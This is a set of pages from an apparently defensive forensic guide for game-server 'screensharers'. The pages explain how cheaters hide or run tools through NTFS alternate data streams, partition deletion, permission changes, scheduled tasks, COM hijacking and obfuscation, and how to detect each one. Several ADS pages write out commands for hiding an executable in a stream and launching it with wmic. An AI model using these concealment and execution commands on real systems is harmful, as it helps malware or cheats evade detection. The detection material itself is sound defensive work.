[NextReplaceparser](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/replaceparser) Last updated 1 year ago --- # Alternate Data Streams (ADS) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/alternate-data-streams-ads.md) . ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/alternate-data-streams-ads#purpose-and-function) Purpose and Function **Alternate Data Streams (ADS)** are a feature unique to the NTFS file system that allows for more than one stream of data to be associated with a single filename. Every file on an NTFS volume has a primary, default data stream, which is technically unnamed but often referred to as `:$DATA`. This stream holds the file's main, expected content—the text in a `.txt` file, the pixel data in a `.jpg`, or the machine code in an `.exe`. However, NTFS allows for any number of additional, _named_ data streams to be attached to the very same file entry in the MFT. For example, a file named `MyDocument.txt` can have its main text content and simultaneously host a hidden executable file in a separate stream, such as `MyDocument.txt:HiddenApp.exe`. This feature was originally designed for compatibility with the classic Mac Hierarchical File System (HFS), but it is now rarely used for legitimate purposes by modern applications. From a DFIR perspective, ADS are a well-known technique used by malware and savvy users to **hide data**. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/alternate-data-streams-ads#mechanism-of-concealment) Mechanism of Concealment The power of ADS as a concealment technique lies in its invisibility to standard Windows tools. * **Invisibility in File Explorer:** Windows File Explorer and the standard `dir` command in Command Prompt do **not** display the existence or size of alternate data streams by default. A file containing a large hidden payload within an ADS will report its size as if it only contained its primary data stream, making it appear completely innocuous. * **Creation and Execution:** * ADS can be easily created using command-line tools. For example, the command `type C:\path\to\cheat.exe > C:\path\to\benign_file.txt:hidden.exe` will pipe the entire binary content of the cheat into a new stream named `hidden.exe` attached to `benign_file.txt`. * Executing code hidden in an ADS is not as simple as double-clicking the host file. It requires specific techniques, such as using the `wmic process call create "C:\path\to\file.txt:hidden.exe"` command, `forfiles.exe`, or other scripting methods. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/alternate-data-streams-ads#stored-data-and-forensic-value) Stored Data and Forensic Value An ADS can contain **any type of data**, from simple text logs to entire executable binaries, scripts, or configuration files. Their forensic value is directly tied to their use as a hiding mechanism. * **Hiding Malicious Payloads:** This is the most common malicious use. Cheat tools, malware, and scripts can be stored within an ADS attached to a legitimate and unsuspecting file (e.g., `notepad.exe`, a system DLL, or a simple text file). * **Concealing Configuration or Log Files:** Cheats may use ADS to store their configuration settings or activity logs, hiding them from easy discovery. * **Zone.Identifier Stream (A Benign Example):** One of the few common, legitimate uses of ADS is the `Zone.Identifier` stream. When a file is downloaded from the internet using a web browser, Windows often adds this stream to the file. It contains metadata indicating that the file came from an untrusted source (the "Internet Zone"), which is what triggers the "Security Warning" prompt when you try to run it. Analyzing this stream can be forensically useful to prove a file's origin. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/alternate-data-streams-ads#detection-and-analysis) Detection and Analysis Detecting and examining ADS requires specific commands or dedicated forensic tools. * **Command Line:** * `dir /r`: Lists alternate data streams for all files in the current directory. * PowerShell: `Get-Item -Path .\file.txt -Stream *` lists all streams for a specific file. * **Dedicated Tools:** GUI-based utilities like Nirsoft's **AlternateStreamView** or Sysinternals' **Streams** are essential. They can quickly scan entire directories or drives, listing all files that contain ADS and allowing the analyst to view, extract, or delete the stream's content. * **USN Journal (**`**$UsnJrnl**`**):** The creation, modification, or deletion of an ADS is logged in the USN Journal. These events are often flagged with reason codes like `STREAM_CHANGE` or `NAMED_DATA_OVERWRITE`, associated with the _host_ file. Finding such events on an otherwise normal file is a strong indicator of ADS activity. * **MFT Analysis:** The presence of ADS is recorded in the host file's MFT record, typically in the `$ATTRIBUTE_LIST` attribute if the file has multiple data streams. * * * #### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/alternate-data-streams-ads#reflection-points-ss-contest) Reflection points (SS Contest) For a ScreenSharer, awareness of ADS is crucial for finding evidence that a player has actively tried to hide. * **A Classic Hiding Spot:** ADS is a go-to technique for hiding cheats. An SSer must scan common user directories (Desktop, Downloads, Temp) and game-related folders for the presence of ADS using a dedicated tool like AlternateStreamView. Finding an unexpectedly large stream, or a stream with an `.exe` or `.dll` name, attached to a non-executable file is a major red flag. * **Execution Evidence:** While hiding the file is one thing, executing it is another. If you find a command in the player's command history (e.g., PowerShell history) or a memory dump that uses `wmic` or `forfiles` to execute a file with a colon (`:`) in its path, you have likely found the command used to launch a payload from an ADS. * **Context from Zone.Identifier:** The `Zone.Identifier` stream can be a useful piece of corroborating evidence. If a suspicious file has this stream, an SSer can view its contents (e.g., with Notepad) to see the `HostUrl` from which it was downloaded, potentially linking it directly to a known cheat distribution site. * **Correlating with Journal:** If you suspect ADS activity but the files are gone, check the USN Journal for `STREAM_CHANGE` events on files that were recently modified or deleted. This can prove that ADS were being manipulated, even if you can't recover their content. [PreviousIndex Attributes ($INDX / $i30)](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/index-attributes-usdindx-usdi30) [NextUser Activity and Knowledge](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge) Last updated 9 months ago * [Purpose and Function](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/alternate-data-streams-ads#purpose-and-function) * [Mechanism of Concealment](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/alternate-data-streams-ads#mechanism-of-concealment) * [Stored Data and Forensic Value](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/alternate-data-streams-ads#stored-data-and-forensic-value) * [Detection and Analysis](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/alternate-data-streams-ads#detection-and-analysis) --- # Forensic Implications | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/disk-partition-manipulation-for-evasion/forensic-implications.md) . While this method attempts to hide activity by isolating it and removing the container, the acts of creating and deleting partitions are significant system events that can leave traces: * **Event Logs:** Windows often logs volume management operations. Key logs to check include: * **System Log:** Look for events related to the Virtual Disk Service (VDS), Partition Management, or `diskpart.exe` usage. Specific Event IDs might vary but relate to volume creation, formatting, and deletion. * **Ntfs Log (Operational):** `Applications and Services Logs > Microsoft > Windows > Ntfs > Operational`. Event ID 4 might indicate volume mounting/dismounting. Event ID 501 might log journal deletion _if_ the partition was NTFS and its journal was explicitly deleted before partition removal (less common). * **Disk Management Tools:** Simply opening Disk Management (`diskmgmt.msc`) might reveal unallocated space where a partition recently existed. * **SetupAPI Logs:** `C:\Windows\INF\setupapi.dev.log` sometimes contains detailed logs about device installation and removal, which might include disk/volume related events. * **(Advanced) Low-Level Disk Analysis:** Specialized forensic tools analyzing the raw disk structure might sometimes find remnants or metadata related to deleted partition tables or filesystem structures in unallocated space, but this is typically beyond standard screensharing. Finding recent event log entries indicating partition creation and deletion, especially correlating with gameplay or screenshare times, is highly suspicious. [PreviousMechanism of Evasion](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/disk-partition-manipulation-for-evasion/mechanism-of-evasion) [NextTask Scheduler Bypass Techniques](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/task-scheduler-bypass-techniques) Last updated 1 year ago --- # Disabling Registry/Folder Inheritance | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/permission-and-inheritance-modification/disabling-registryfolder-inheritance.md) . * **Description:** _Inheritance_ is the mechanism by which permissions set on a parent object (like a folder or a registry key) are automatically applied to the child objects (subfolders, files, subkeys) contained within it. Disabling inheritance breaks this automatic propagation, allowing child objects to have completely different and independent permission sets from their parent. * **Mechanism:** Achieved through the "Advanced Security Settings" dialog for a folder or registry key. Users with appropriate permissions can click the "Disable inheritance" button. This typically converts existing inherited permissions into explicit permissions on the object, which can then be modified or removed without affecting the parent or siblings. * **Why Cheaters Use It:** * _Hiding Malicious Entries:_ A bypasser could take a seemingly innocuous registry key or folder, disable inheritance on it, remove permissions for standard users/administrators, and then create a subkey or subfolder _within_ it containing malicious data (e.g., cheat configurations, paths to hidden loaders), granting access only to a specific account or process. Browsing the parent key/folder might not reveal the hidden child due to the broken inheritance and restrictive permissions. * _Preventing Detection/Logging:_ Disabling inheritance on a specific artifact location (e.g., a subkey used for logging within a larger application's registry structure) and then setting restrictive permissions could prevent system services or ScreenSharing tools from accessing or writing to that specific location, while the parent key might still appear normally accessible. An example mentioned in the context of bypasses involves disabling inheritance for specific BAM registry keys to hinder access or clearing. * **Detection:** Requires manually inspecting the Advanced Security Settings for the specific folders or registry keys in question: * **Folders:** Right-click folder -> Properties -> Security tab -> Advanced. Check the status of the inheritance button (Does it say "Enable inheritance" \[meaning it's currently disabled\] or "Disable inheritance" \[meaning it's currently enabled\]?). Review the permission entries listed – are they "Inherited from..." or are they explicit permissions applied directly to this object? Finding inheritance disabled on critical system locations or user profile folders without a clear legitimate reason is suspicious. * **Registry Keys:** In `regedit`, right-click the key -> Permissions... -> Advanced. Perform the same checks for the inheritance status and the nature of the permission entries (explicit vs. inherited). Finding inheritance disabled on keys related to system configuration, security, or known artifact locations warrants investigation. [PreviousUsing cacls (or similar) for Permission Changes](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/permission-and-inheritance-modification/using-cacls-for-permission-changes) [NextDisk Partition Manipulation for Evasion](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/disk-partition-manipulation-for-evasion) Last updated 1 year ago --- # Mechanism of Evasion | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/disk-partition-manipulation-for-evasion/mechanism-of-evasion.md) . 1. **Partition Creation:** Using Disk Management (`diskmgmt.msc`) or command-line tools (`diskpart`), the user creates a new partition on one of their physical storage devices. This partition might be formatted with NTFS or potentially a less forensically rich filesystem like FAT32 or exFAT. 2. **Activity Confinement:** Cheat files, tools, or temporary data related to malicious activity are placed, executed, or stored _within this newly created partition_. 3. **Journaling Avoidance:** * If the new partition is **FAT32/exFAT**, it inherently lacks robust journaling ($UsnJrnl, $LogFile), making tracking file operations within it difficult via standard NTFS methods. * If the new partition is **NTFS**, it will have its _own_ separate set of metafiles ($MFT, $UsnJrnl, $LogFile), distinct from the main system volume (C:). Activities confined to this partition will be logged in _its_ journal, not the C: drive's journal. A ScreenSharer focused only on the C: drive's journal would miss these events. 4. **Partition Deletion:** Before or during the screenshare, the user **deletes the entire partition** containing the incriminating files or activity logs. This removes not just the files but the entire filesystem structure for that partition, including its specific $MFT and journal (if it was NTFS). [PreviousDisk Partition Manipulation for Evasion](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/disk-partition-manipulation-for-evasion) [NextForensic Implications](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/disk-partition-manipulation-for-evasion/forensic-implications) Last updated 1 year ago --- # Task Scheduler Bypass Techniques | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/task-scheduler-bypass-techniques.md) . The _Windows Task Scheduler_ is a legitimate and powerful system component allowing users and applications to automate tasks by running programs or scripts at specified times or in response to system events (like startup, user logon, idle state). Attackers and bypassers exploit this utility for **persistence** (ensuring their code runs automatically) and **evasion** (running code outside the direct user interaction flow). [PreviousForensic Implications](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/disk-partition-manipulation-for-evasion/forensic-implications) [NextMechanism of Evasion](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/task-scheduler-bypass-techniques/mechanism-of-evasion) Last updated 1 year ago --- # Permission and Inheritance Modification | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/permission-and-inheritance-modification.md) . Another category of bypass involves manipulating file system or registry permissions and inheritance settings. The goal here is typically to hide files/folders/keys from view, prevent logging mechanisms from writing data, or block access for ScreenSharing tools or the ScreenSharer themselves. [PreviousFile Replacement (Replace Method)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-clearing-techniques/file-replacement) [NextUsing cacls (or similar) for Permission Changes](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/permission-and-inheritance-modification/using-cacls-for-permission-changes) Last updated 1 year ago --- # Mechanism of Evasion | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/task-scheduler-bypass-techniques/mechanism-of-evasion.md) . **Mechanism of Evasion** 1. **Task Creation:** A malicious or bypass-related task is created using the Task Scheduler GUI, `schtasks.exe` command-line tool, or PowerShell cmdlets (`Register-ScheduledTask`). 2. **Payload Execution:** The task is configured to execute a specific action, which could be: * Launching a cheat loader or the cheat itself. * Running a script (`.bat`, `.ps1`, `.vbs`) that performs malicious actions (e.g., deletes logs, downloads further payloads, disables security). * Executing system commands (e.g., using `cmd.exe /c ...` or `powershell.exe -Command ...`). 3. **Trigger Configuration:** The critical part for evasion is the trigger. Tasks might be set to run: * _At system startup_ or _At logon_: Executes the payload early, potentially before all monitoring or screensharing tools are active. * _On a specific event:_ Triggered by system events that might occur during gameplay. * _At a specific time:_ Less common for direct bypass during SS, more for persistence. 4. **Execution Context & Privileges:** Tasks can be configured to run under different user accounts, including the SYSTEM account, potentially granting the payload elevated privileges needed for certain bypass actions (like stopping critical services). 5. **Bypassing Monitoring:** * _Execution Source:_ The task is launched by the Task Scheduler service (`taskeng.exe` or hosted within `svchost.exe`), not directly by the user double-clicking an icon. This can sometimes bypass simple execution logging focused on direct user initiation. Prefetch might only log `mmc.exe` (Task Scheduler GUI) or `schtasks.exe` if used for creation, or the scheduler service itself, rather than the payload directly, depending on how the action is configured. * _Timing:_ Startup/logon triggers can execute code before typical screenshare monitoring begins. 6. **Obfuscation:** Task names, descriptions, and the paths/arguments within the task's action can be disguised to look legitimate (e.g., mimicking update tasks) to evade manual inspection. Unicode characters might also be used. [PreviousTask Scheduler Bypass Techniques](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/task-scheduler-bypass-techniques) [NextDetection](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/task-scheduler-bypass-techniques/detection) Last updated 1 year ago --- # COM Hijacking | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/com-hijacking.md) . * **Overview:** The _Component Object Model (COM)_ is a core Windows technology that allows software components (objects) to interact with each other, irrespective of the programming language they were written in. It's fundamental to many Windows functions, including the shell (Explorer), Internet Explorer, and numerous applications. Windows uses the Registry extensively to manage COM, storing information about each COM object, its unique Class ID (CLSID), and crucially, the location of the server (usually a DLL or sometimes an EXE) that implements the object's functionality. **COM Hijacking** is an evasion and persistence technique where attackers manipulate these COM-related registry entries to redirect calls intended for legitimate COM objects to malicious code instead. * **Mechanism of Evasion and Persistence:** 1. _Target Identification:_ The attacker identifies a COM object that is frequently instantiated by legitimate, often auto-starting, processes (like `explorer.exe`, system services, or common applications). 2. _Registry Manipulation:_ The core of the hijack involves modifying specific registry keys associated with the target COM object's CLSID. A very common target is the `InprocServer32` subkey, which normally points to the path of the legitimate DLL server that implements the COM object. The attacker alters the `(Default)` value within this key (or related keys depending on the specific hijack method) to point to their malicious DLL instead. 3. _Registry Locations:_ These manipulations often occur under `HKEY_CLASSES_ROOT\CLSID\{Target_CLSID}\InprocServer32` or, significantly for evasion, under the _user-specific_ hive at `HKEY_CURRENT_USER\Software\Classes\CLSID\{Target_CLSID}\InprocServer32`. Hijacking entries in HKCU often **does not require administrator privileges**, making it more accessible for malware or cheats running under user context. 4. _Code Execution:_ When a legitimate application makes a call to instantiate or interact with the hijacked COM object, the Windows COM runtime reads the manipulated registry entry. Instead of loading the legitimate DLL, it loads the attacker's malicious DLL into the address space of the calling application. 5. _Evasion:_ Because the malicious code is loaded and executed by a legitimate, often trusted, application process as part of its normal operation (instantiating a COM object), this can bypass application whitelisting solutions that focus on blocking unknown executables. The activity might appear less suspicious in basic process execution logs compared to running a standalone cheat executable. 6. _Persistence:_ If the hijacked COM object is one that is loaded automatically at system startup or user logon (e.g., by `explorer.exe` or other auto-run processes), this technique provides a persistent mechanism for the malicious code (e.g., a cheat loader or the cheat itself) to execute automatically every time the system starts or the user logs in, without needing a separate Run key entry or scheduled task. [PreviousForensic Implications and Detection](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/fileless-malware-and-living-off-the-land-binaries/forensic-implications-and-detection) [NextShellcode Injection](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/shellcode-injection) Last updated 1 year ago --- # Replaceparser | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/replaceparser.md) . **Description:** A simple, standalone parser specifically designed to detect file replacement actions by analyzing USN Journal entries. Initially created for testing purposes, it can be used independently. **Features:** * Focuses solely on parsing and identifying file replacement operations from the USN Journal. * Can potentially be integrated as a library into other custom tools. _Note: The provided release executable (_`_.exe_`_) might be outdated compared to the latest source code available on GitHub._ **Usage:** A dedicated tool for quickly checking if specific files have undergone replacement actions, complementing broader Journal analysis. **Link:** `https://github.com/spokwn/Replaceparser` [PreviousKernel Live Dump Analyzer](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/kernel-live-dump-analyzer) [NextJournalTrace](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/journaltrace) Last updated 1 year ago --- # Disk Partition Manipulation for Evasion | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/disk-partition-manipulation-for-evasion.md) . This technique leverages the creation and subsequent deletion of separate disk partitions to circumvent standard filesystem journaling and potentially hide activity or files from analysis focused on the primary system drive (usually C:). [PreviousDisabling Registry/Folder Inheritance](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/permission-and-inheritance-modification/disabling-registryfolder-inheritance) [NextMechanism of Evasion](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/disk-partition-manipulation-for-evasion/mechanism-of-evasion) Last updated 1 year ago --- # Scripting Languages for Evasion | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/scripting-languages-for-evasion.md) . [Mechanisms of Evasion](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/scripting-languages-for-evasion/mechanisms-of-evasion) [Forensic Implications](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/scripting-languages-for-evasion/forensic-implications) [PreviousDetection](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/task-scheduler-bypass-techniques/detection) [NextMechanisms of Evasion](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/scripting-languages-for-evasion/mechanisms-of-evasion) Last updated 1 year ago --- # Concealment and Obfuscation | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/concealment-and-obfuscation.md) . A fundamental goal of many bypass techniques is simply to **hide malicious files or activities** from the ScreenSharer. If the cheat cannot be easily located or identified, it cannot be proven. This involves various methods aimed at making illicit files blend in with legitimate ones, disappear from standard views, or making their code unintelligible. [PreviousIntroduction to Bypass Categories](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/introduction-to-bypass-categories) [NextSpoofed Extensions](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/concealment-and-obfuscation/1-spoofed-extensions) Last updated 1 year ago --- # Fileless Malware and Living-off-the-Land Binaries (LOLBins) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/fileless-malware-and-living-off-the-land-binaries.md) . Attackers and bypassers frequently leverage various scripting languages available on Windows systems instead of traditional compiled executables (`.exe`). This "Living-off-the-Land" approach uses legitimate interpreters already present on the system to execute malicious or bypass-related code, making detection harder for security solutions focused solely on unknown executables. Common scripting languages abused include **PowerShell (**`**.ps1**`**)**, **Batch (**`**.bat**`**)**, **VBScript (**`**.vbs**`**)**, and less commonly but possibly **Python (**`**.py**`**)**, **AutoIt (**`**.au3**`**)**, or even **HTML Applications (**`**.hta**`**)**. [PreviousForensic Implications](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/scripting-languages-for-evasion/forensic-implications) [NextMechanisms of Evasion](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/fileless-malware-and-living-off-the-land-binaries/mechanisms-of-evasion) Last updated 1 year ago --- # Code Obfuscation | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/concealment-and-obfuscation/4-code-obfuscation.md) . * **Description:** This technique applies primarily to the cheat code itself, rather than just its filename or location. Developers intentionally make the source code or compiled bytecode difficult to read, understand, and reverse-engineer. While most common with cheats distributed as Minecraft mods (`.jar` files) or standalone Java applications, obfuscation techniques can also be applied to other compiled languages (C++, C#) or even scripts (using encoding, variable renaming, etc.). * **Mechanism:** Various techniques are used to scramble the code: * **Renaming:** Replacing meaningful class, method, and variable names with short, meaningless, or random characters (e.g., `a.class`, `b()`, `zzXy_123`, `_a`, `_b`). * **Control Flow Obfuscation:** Inserting junk code, opaque predicates (conditions that always evaluate the same way but look complex), or restructuring loops and conditional statements to make the logical flow hard to follow. * **String Encryption:** Encrypting literal strings within the code (like GUI text, configuration keys, or even cheat feature names) so they don't appear in plain text during static analysis or memory scans. * **Packing/Encryption:** Compressing or encrypting the main codebase and embedding it within a small loader stub. The loader unpacks/decrypts the real code into memory at runtime. * **Why Cheaters Use It:** * **Anti-Analysis:** To significantly hinder analysis by ScreenSharers using decompilers (like Luyten, Recaf for Java) or disassemblers. It makes determining the code's true function extremely time-consuming and difficult. * **Anti-Reverse Engineering:** To protect proprietary code or techniques from rival cheat developers. * **Evading Signature Detection:** Packing and encryption can change the file's signature, potentially evading simple hash-based or static pattern detection by anti-cheat systems or AV scanners. * **Detection:** * **Decompilation/Disassembly:** The primary detection method is attempting to analyze the code. If a decompiler or disassembler produces code that is largely unreadable, uses meaningless names extensively, or exhibits characteristics mentioned above, it's highly likely obfuscated. * **Entropy Analysis:** Packed or encrypted files often have high file entropy (a measure of data randomness). Tools like Detect It Easy (DiE) or VirusTotal calculate entropy; high values (often >7.0 out of 8) suggest packing/encryption. * **Packer Detection Tools:** Utilities like DiE include signatures to identify common packers (like UPX, Themida, VMProtect) used to obfuscate executables. * **Server Rules:** Due to the difficulty in verifying obfuscated code quickly during a screenshare, **many servers maintain a strict policy banning any mods or executables found to be significantly obfuscated.** The inability to ascertain its function poses too great a risk. [PreviousAlternate Data Streams (ADS)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/concealment-and-obfuscation/3-alternate-data-streams) [NextSteganography](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/steganography) Last updated 1 year ago --- # Alternate Data Streams (ADS) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/concealment-and-obfuscation/3-alternate-data-streams.md) . * **Description:** As detailed in the Windows Fundamentals section, NTFS Alternate Data Streams allow embedding hidden data "behind" a standard file or directory without affecting the primary file's size or apparent content in tools like File Explorer. * **Mechanism:** A cheater can store an entire executable (like `cheat.exe`) or other malicious content within an ADS attached to an innocuous host file (e.g., `notes.txt`). * _Creation Example:_ Using command prompt: `type C:\path\to\cheat.exe >> C:\path\to\benign_file.txt:hidden_stream_name.exe` (The `type >>` command pipes the binary content of the cheat into the ADS of the benign file). * _Execution Example:_ Often requires specific commands like `wmic process call create "C:\path\to\benign_file.txt:hidden_stream_name.exe"` or using utilities like `forfiles`. Double-clicking the host file (`benign_file.txt`) will _not_ run the ADS content. * **Why Cheaters Use It:** This is a powerful **concealment** technique. It hides the malicious payload from standard file browsing and simple scans that only look for standalone files. The host file appears completely normal in size and content. * **Detection:** * **ADS Viewers:** Tools like AlternateStreamView (Nirsoft) or Sysinternals' Streams are essential. Scan relevant directories (Downloads, Desktop, Temp, game folders) or entire drives to list all files containing ADS. Examine streams with suspicious names or significant sizes. * **Command Line:** `dir /r` lists streams in the current directory. PowerShell's `Get-Item -Stream *` can inspect specific files. * **USN Journal:** Creating, modifying, or deleting ADS typically generates `STREAM_CHANGE` or `NAMED_DATA_OVERWRITE`/`EXTEND`/`TRUNCATION` events in the Journal, associated with the _host_ file. Finding these events linked to otherwise normal files can be suspicious. * **Memory Analysis:** If the ADS content was executed, traces might be found in process memory (e.g., searching for strings from the hidden cheat within `csrss.exe` or the process launched via `wmic`). * **Specialized Tools:** Forensic suites or tools like Velociraptor often have specific modules (e.g., `Windows.NTFS.ADSHunter`) designed to find and analyze ADS across a system. [PreviousUnicode Characters in File Names/Paths](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/concealment-and-obfuscation/2-unicode-characters-in-file-namespaths) [NextCode Obfuscation](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/concealment-and-obfuscation/4-code-obfuscation) Last updated 1 year ago --- # Windows Event Logs | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/windows-event-logs.md) . ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/windows-event-logs#purpose-and-function) Purpose and Function **Windows Event Logs** are the primary diagnostic and auditing mechanism of the operating system. They are standardized logs maintained by Windows and various applications to record significant occurrences, errors, warnings, and informational messages. They function as a detailed, chronological diary of system activity, crucial for troubleshooting, security auditing, and forensic analysis. From a DFIR perspective, Event Logs are an indispensable source of high-fidelity, time-stamped evidence for a vast range of system-level activities. They often contain the only record of specific user actions, service manipulations, and anti-forensic techniques. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/windows-event-logs#location-and-structure) Location and Structure Modern event logs are stored as binary XML (`.evtx`) files, which allows for structured and extensible logging. * **Location:** `C:\Windows\System32\winevt\Logs\` Windows organizes events into different logs, known as **channels**, based on their source or purpose. Key channels frequently examined during an investigation include: * **System:** Logs events generated by Windows system components, such as service start/stop events, driver loading issues, and system time 